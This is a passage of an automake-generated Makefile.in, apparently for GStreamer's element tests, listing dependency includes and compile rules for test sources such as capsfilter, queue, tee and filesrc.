@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/states.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/stress.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/tee.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/transform1.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/typefindhelper.Po@am__quote@ .c.o: @am__fastdepCC_TRUE@ $(AM_V_CC)$(COMPILE) -MT $@ -MD -MP -MF $(DEPDIR)/$*.Tpo -c -o $@ $< @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/$*.Tpo $(DEPDIR)/$*.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='$<' object='$@' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(COMPILE) -c $< .c.obj: @am__fastdepCC_TRUE@ $(AM_V_CC)$(COMPILE) -MT $@ -MD -MP -MF $(DEPDIR)/$*.Tpo -c -o $@ `$(CYGPATH_W) '$<'` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/$*.Tpo $(DEPDIR)/$*.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='$<' object='$@' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(COMPILE) -c `$(CYGPATH_W) '$<'` .c.lo: @am__fastdepCC_TRUE@ $(AM_V_CC)$(LTCOMPILE) -MT $@ -MD -MP -MF $(DEPDIR)/$*.Tpo -c -o $@ $< @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/$*.Tpo $(DEPDIR)/$*.Plo @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='$<' object='$@' libtool=yes @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(LTCOMPILE) -c -o $@ $< capsfilter.o: elements/capsfilter.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT capsfilter.o -MD -MP -MF $(DEPDIR)/capsfilter.Tpo -c -o capsfilter.o `test -f 'elements/capsfilter.c' || echo '$(srcdir)/'`elements/capsfilter.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/capsfilter.Tpo $(DEPDIR)/capsfilter.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='elements/capsfilter.c' object='capsfilter.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o capsfilter.o `test -f 'elements/capsfilter.c' || echo '$(srcdir)/'`elements/capsfilter.c capsfilter.obj: elements/capsfilter.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT capsfilter.obj -MD -MP -MF $(DEPDIR)/capsfilter.Tpo -c -o capsfilter.obj `if test -f 'elements/capsfilter.c'; then $(CYGPATH_W) 'elements/capsfilter.c'; else $(CYGPATH_W) '$(srcdir)/elements/capsfilter.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/capsfilter.Tpo $(DEPDIR)/capsfilter.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='elements/capsfilter.c' object='capsfilter.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o capsfilter.obj `if test -f 'elements/capsfilter.c'; then $(CYGPATH_W) 'elements/capsfilter.c'; else $(CYGPATH_W) '$(srcdir)/elements/capsfilter.c'; fi` fakesink.o: elements/fakesink.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT fakesink.o -MD -MP -MF $(DEPDIR)/fakesink.Tpo -c -o fakesink.o `test -f 'elements/fakesink.c' || echo '$(srcdir)/'`elements/fakesink.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/fakesink.Tpo $(DEPDIR)/fakesink.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='elements/fakesink.c' object='fakesink.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o fakesink.o `test -f 'elements/fakesink.c' || echo '$(srcdir)/'`elements/fakesink.c fakesink.obj: elements/fakesink.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT fakesink.obj -MD -MP -MF $(DEPDIR)/fakesink.Tpo -c -o fakesink.obj `if test -f 'elements/fakesink.c'; then $(CYGPATH_W) 'elements/fakesink.c'; else $(CYGPATH_W) '$(srcdir)/elements/fakesink.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/fakesink.Tpo $(DEPDIR)/fakesink.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='elements/fakesink.c' object='fakesink.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o fakesink.obj `if test -f 'elements/fakesink.c'; then $(CYGPATH_W) 'elements/fakesink.c'; else $(CYGPATH_W) '$(srcdir)/elements/fakesink.c'; fi` fakesrc.o: elements/fakesrc.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT fakesrc.o -MD -MP -MF $(DEPDIR)/fakesrc.Tpo -c -o fakesrc.o `test -f 'elements/fakesrc.c' || echo '$(srcdir)/'`elements/fakesrc.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/fakesrc.Tpo $(DEPDIR)/fakesrc.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='elements/fakesrc.c' object='fakesrc.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o fakesrc.o `test -f 'elements/fakesrc.c' || echo '$(srcdir)/'`elements/fakesrc.c fakesrc.obj: elements/fakesrc.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT fakesrc.obj -MD -MP -MF $(DEPDIR)/fakesrc.Tpo -c -o fakesrc.obj `if test -f 'elements/fakesrc.c'; then $(CYGPATH_W) 'elements/fakesrc.c'; else $(CYGPATH_W) '$(srcdir)/elements/fakesrc.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/fakesrc.Tpo $(DEPDIR)/fakesrc.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='elements/fakesrc.c' object='fakesrc.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o fakesrc.obj `if test -f 'elements/fakesrc.c'; then $(CYGPATH_W) 'elements/fakesrc.c'; else $(CYGPATH_W) '$(srcdir)/elements/fakesrc.c'; fi` elements_fdsrc-fdsrc.o: elements/fdsrc.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(elements_fdsrc_CFLAGS) $(CFLAGS) -MT elements_fdsrc-fdsrc.o -MD -MP -MF $(DEPDIR)/elements_fdsrc-fdsrc.Tpo -c -o elements_fdsrc-fdsrc.o `test -f 'elements/fdsrc.c' || echo '$(srcdir)/'`elements/fdsrc.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/elements_fdsrc-fdsrc.Tpo $(DEPDIR)/elements_fdsrc-fdsrc.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='elements/fdsrc.c' object='elements_fdsrc-fdsrc.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(elements_fdsrc_CFLAGS) $(CFLAGS) -c -o elements_fdsrc-fdsrc.o `test -f 'elements/fdsrc.c' || echo '$(srcdir)/'`elements/fdsrc.c elements_fdsrc-fdsrc.obj: elements/fdsrc.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(elements_fdsrc_CFLAGS) $(CFLAGS) -MT elements_fdsrc-fdsrc.obj -MD -MP -MF $(DEPDIR)/elements_fdsrc-fdsrc.Tpo -c -o elements_fdsrc-fdsrc.obj `if test -f 'elements/fdsrc.c'; then $(CYGPATH_W) 'elements/fdsrc.c'; else $(CYGPATH_W) '$(srcdir)/elements/fdsrc.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/elements_fdsrc-fdsrc.Tpo $(DEPDIR)/elements_fdsrc-fdsrc.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='elements/fdsrc.c' object='elements_fdsrc-fdsrc.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(elements_fdsrc_CFLAGS) $(CFLAGS) -c -o elements_fdsrc-fdsrc.obj `if test -f 'elements/fdsrc.c'; then $(CYGPATH_W) 'elements/fdsrc.c'; else $(CYGPATH_W) '$(srcdir)/elements/fdsrc.c'; fi` filesink.o: elements/filesink.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT filesink.o -MD -MP -MF $(DEPDIR)/filesink.Tpo -c -o filesink.o `test -f 'elements/filesink.c' || echo '$(srcdir)/'`elements/filesink.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/filesink.Tpo $(DEPDIR)/filesink.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='elements/filesink.c' object='filesink.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o filesink.o `test -f 'elements/filesink.c' || echo '$(srcdir)/'`elements/filesink.c filesink.obj: elements/filesink.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT filesink.obj -MD -MP -MF $(DEPDIR)/filesink.Tpo -c -o filesink.obj `if test -f 'elements/filesink.c'; then $(CYGPATH_W) 'elements/filesink.c'; else $(CYGPATH_W) '$(srcdir)/elements/filesink.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/filesink.Tpo $(DEPDIR)/filesink.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='elements/filesink.c' object='filesink.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o filesink.obj `if test -f 'elements/filesink.c'; then $(CYGPATH_W) 'elements/filesink.c'; else $(CYGPATH_W) '$(srcdir)/elements/filesink.c'; fi` elements_filesrc-filesrc.o: elements/filesrc.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(elements_filesrc_CFLAGS) $(CFLAGS) -MT elements_filesrc-filesrc.o -MD -MP -MF $(DEPDIR)/elements_filesrc-filesrc.Tpo -c -o elements_filesrc-filesrc.o `test -f 'elements/filesrc.c' || echo '$(srcdir)/'`elements/filesrc.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/elements_filesrc-filesrc.Tpo $(DEPDIR)/elements_filesrc-filesrc.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='elements/filesrc.c' object='elements_filesrc-filesrc.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(elements_filesrc_CFLAGS) $(CFLAGS) -c -o elements_filesrc-filesrc.o `test -f 'elements/filesrc.c' || echo '$(srcdir)/'`elements/filesrc.c elements_filesrc-filesrc.obj: elements/filesrc.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(elements_filesrc_CFLAGS) $(CFLAGS) -MT elements_filesrc-filesrc.obj -MD -MP -MF $(DEPDIR)/elements_filesrc-filesrc.Tpo -c -o elements_filesrc-filesrc.obj `if test -f 'elements/filesrc.c'; then $(CYGPATH_W) 'elements/filesrc.c'; else $(CYGPATH_W) '$(srcdir)/elements/filesrc.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/elements_filesrc-filesrc.Tpo $(DEPDIR)/elements_filesrc-filesrc.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='elements/filesrc.c' object='elements_filesrc-filesrc.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(elements_filesrc_CFLAGS) $(CFLAGS) -c -o elements_filesrc-filesrc.obj `if test -f 'elements/filesrc.c'; then $(CYGPATH_W) 'elements/filesrc.c'; else $(CYGPATH_W) '$(srcdir)/elements/filesrc.c'; fi` identity.o: elements/identity.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT identity.o -MD -MP -MF $(DEPDIR)/identity.Tpo -c -o identity.o `test -f 'elements/identity.c' || echo '$(srcdir)/'`elements/identity.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/identity.Tpo $(DEPDIR)/identity.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='elements/identity.c' object='identity.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o identity.o `test -f 'elements/identity.c' || echo '$(srcdir)/'`elements/identity.c identity.obj: elements/identity.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT identity.obj -MD -MP -MF $(DEPDIR)/identity.Tpo -c -o identity.obj `if test -f 'elements/identity.c'; then $(CYGPATH_W) 'elements/identity.c'; else $(CYGPATH_W) '$(srcdir)/elements/identity.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/identity.Tpo $(DEPDIR)/identity.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='elements/identity.c' object='identity.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o identity.obj `if test -f 'elements/identity.c'; then $(CYGPATH_W) 'elements/identity.c'; else $(CYGPATH_W) '$(srcdir)/elements/identity.c'; fi` multiqueue.o: elements/multiqueue.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT multiqueue.o -MD -MP -MF $(DEPDIR)/multiqueue.Tpo -c -o multiqueue.o `test -f 'elements/multiqueue.c' || echo '$(srcdir)/'`elements/multiqueue.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/multiqueue.Tpo $(DEPDIR)/multiqueue.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='elements/multiqueue.c' object='multiqueue.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o multiqueue.o `test -f 'elements/multiqueue.c' || echo '$(srcdir)/'`elements/multiqueue.c multiqueue.obj: elements/multiqueue.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT multiqueue.obj -MD -MP -MF $(DEPDIR)/multiqueue.Tpo -c -o multiqueue.obj `if test -f 'elements/multiqueue.c'; then $(CYGPATH_W) 'elements/multiqueue.c'; else $(CYGPATH_W) '$(srcdir)/elements/multiqueue.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/multiqueue.Tpo $(DEPDIR)/multiqueue.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='elements/multiqueue.c' object='multiqueue.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o multiqueue.obj `if test -f 'elements/multiqueue.c'; then $(CYGPATH_W) 'elements/multiqueue.c'; else $(CYGPATH_W) '$(srcdir)/elements/multiqueue.c'; fi` queue.o: elements/queue.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT queue.o -MD -MP -MF $(DEPDIR)/queue.Tpo -c -o queue.o `test -f 'elements/queue.c' || echo '$(srcdir)/'`elements/queue.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/queue.Tpo $(DEPDIR)/queue.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='elements/queue.c' object='queue.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o queue.o `test -f 'elements/queue.c' || echo '$(srcdir)/'`elements/queue.c queue.obj: elements/queue.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT queue.obj -MD -MP -MF $(DEPDIR)/queue.Tpo -c -o queue.obj `if test -f 'elements/queue.c'; then $(CYGPATH_W) 'elements/queue.c'; else $(CYGPATH_W) '$(srcdir)/elements/queue.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/queue.Tpo $(DEPDIR)/queue.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='elements/queue.c' object='queue.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o queue.obj `if test -f 'elements/queue.c'; then $(CYGPATH_W) 'elements/queue.c'; else $(CYGPATH_W) '$(srcdir)/elements/queue.c'; fi` tee.o: elements/tee.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT tee.o -MD -MP -MF $(DEPDIR)/tee.Tpo -c -o tee.o `test -f 'elements/tee.c' || echo '$(srcdir)/'`elements/tee.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/tee.Tpo $(DEPDIR)/tee.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='elements/tee.c' object='tee.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o tee.o `test -f 'elements/tee.c' || echo '$(srcdir)/'`elements/tee.c tee.obj: elements/tee.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT tee.obj -MD -MP -MF $(DEPDIR)/tee.Tpo -c -o tee.obj `if test -f 'elements/tee.c'; then $(CYGPATH_W) 'elements/tee.c'; else $(CYGPATH_W) '$(srcdir)/elements/tee.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/tee.Tpo $(DEPDIR)/tee.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='elements/tee.c' object='tee.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o tee.obj `if test -f 'elements/tee.c'; then $(CYGPATH_W) 'elements/tee.c'; else $(CYGPATH_W) '$(srcdir)/elements/tee.c'; fi` sinks.o: generic/sinks.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT sinks.o -MD -MP -MF $(DEPDIR)/sinks.Tpo -c -o sinks.o `test -f 'generic/sinks.c' || echo '$(srcdir)/'`generic/sinks.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/sinks.Tpo $(DEPDIR)/sinks.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='generic/sinks.c' object='sinks.o' libtool=no @AMDEPBACKSLASH@ 